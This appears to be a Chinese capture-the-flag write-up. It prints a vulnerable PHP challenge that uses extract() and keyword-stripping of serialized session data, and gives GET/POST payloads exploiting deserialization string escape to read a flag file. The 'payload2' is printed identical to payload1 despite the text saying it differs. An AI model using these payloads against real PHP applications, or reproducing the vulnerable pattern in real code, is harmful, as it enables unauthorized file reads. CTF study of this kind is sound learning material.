您现在的位置是:主页 > news > 抚州市建设局网站查询/哪个合肥seo好

抚州市建设局网站查询/哪个合肥seo好

admin2025/4/25 0:28:29news

简介抚州市建设局网站查询,哪个合肥seo好,协会建设网站的必要性,公司注册网上申报流程考查点&#xff1a;代码审计&#xff0c;php反序列化字符串逃逸 目录 解题过程 代码审计 先给出payload 参考文章 解题过程 首先打开题目&#xff0c;是个超链接 点击&#xff0c;直接就是代码审计 <?php$function $_GET[f];function filter($img){$filter_arr ar…

抚州市建设局网站查询,哪个合肥seo好,协会建设网站的必要性,公司注册网上申报流程考查点&#xff1a;代码审计&#xff0c;php反序列化字符串逃逸 目录 解题过程 代码审计 先给出payload 参考文章 解题过程 首先打开题目&#xff0c;是个超链接 点击&#xff0c;直接就是代码审计 <?php$function $_GET[f];function filter($img){$filter_arr ar…

考查点:代码审计,php反序列化字符串逃逸

目录

解题过程

代码审计

先给出payload

参考文章


解题过程

首先打开题目,是个超链接

点击,直接就是代码审计

<?php$function = @$_GET['f'];function filter($img){$filter_arr = array('php','flag','php5','php4','fl1g');$filter = '/'.implode('|',$filter_arr).'/i';return preg_replace($filter,'',$img);
}if($_SESSION){unset($_SESSION);        //首先将_SESSION数组中的数据进行释放
}$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;extract($_POST);  //对POST传值的数据进行赋值if(!$function){     //如果不传值,就进行显示源代码的操作echo '<a href="index.php?f=highlight_file">source_code</a>';
}if(!$_GET['img_path']){    //其实这里就决定了初始的_SESSION[img]没啥用,因为不管怎样最后都不可控$_SESSION['img'] = base64_encode('guest_img.png');
}else{$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));  //进行了sha1加密操作,这一步估计是没有利用的可能了 
}$serialize_info = filter(serialize($_SESSION));     //对序列化后的字符串进行过滤操作if($function == 'highlight_file'){highlight_file('index.php');
}else if($function == 'phpinfo'){eval('phpinfo();'); //maybe you can find something in here! //找到了  	d0g3_f1ag.php ,估计需要将其整进image里面
}else if($function == 'show_image'){$userinfo = unserialize($serialize_info);   //返序列化操作echo file_get_contents(base64_decode($userinfo['img']));
} 

代码审计

以GET方式传入$f,并且POST方式传入数据会extract()回对变量进行赋值。同时会进行一些赋初值操作(不过没用,最后会被我们传入的数据覆盖)。

我们传入的数据user,function,img,都存放在$_SESSION数组中,并且初始的img是没用的,基本已经堵死了

if(!$_GET['img_path']){$_SESSION['img'] = base64_encode('guest_img.png');
}else{$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));  //进行了sha1加密操作,这一步估计是没有利用的可能了 
}

同时会对$_SESSION数组进行序列化,过滤,反序列化,然后文件读取操作,这就是利用点

$serialize_info = filter(serialize($_SESSION));     //对序列化后的字符串进行过滤操作if($function == 'show_image'){$userinfo = unserialize($serialize_info);   //反序列化操作echo file_get_contents(base64_decode($userinfo['img']));//文件读取
} 

根据提示,我们首先令$function=phpinfo查看信息,得到d0g3_f1ag.php

我们希望file_get_contents(base64_decode($userinfo['img']))可以得到d0g3_f1ag.php

 base64_decode($userinfo['img'])=d0g3_f1ag.php$userinfo['img']=ZDBnM19mMWFnLnBocA==

这个题目需要用到php反序列化字符逃逸的知识

先给出payload

payload1:

GET
?f=show_imagePOST
_SESSION[user]=flagflagflagflagphpphp&_SESSION[function]=;s:8:"function";s:10:"show_image";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

payload2:

GET
?f=show_imagePOST
_SESSION[user]=flagflagflagflagphpphp&_SESSION[function]=;s:8:"function";s:10:"show_image";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

首先分析payload1

此次过滤函数是将关键词替换为空,所以字符串长度会减少,我们可以将user的值定为关键词集合,而把function中的值定为function和img的键和值

因为序列化之后

a:3:{s:4:"user";s:22:"flagflagflagflagphpphp";s:8:"function";s:73:";s:8:"function";s:10:"show_image";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

过滤后

a:3:{s:4:"user";s:22:"";s:8:"function";s:73:";s:8:"function";s:10:"show_image";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

红字部分是22个字符,需要被和谐进user的值中,所以flag和php的字符串长度为22,也就是flag*4+php*2,才能够成功。

其实也就是

array(3) {["user"]=>string(22) "";s:8:"function";s:73:"["function"]=>string(10) "show_image"["img"]=>string(20) "ZDBnM19mMWFnLnBocA=="
}

输入payload1,回显

提示我们flag在 /d0g3_fllllllag 中,

var_dump(base64_encode('/d0g3_fllllllag'));
string(20) "L2QwZzNfZmxsbGxsbGFn"

刚好长度为20,直接套进payload1,就得payload2,得到flag。


参考文章

1. PHP反序列化字符逃逸详解

2. [0CTF 2016]piapiapia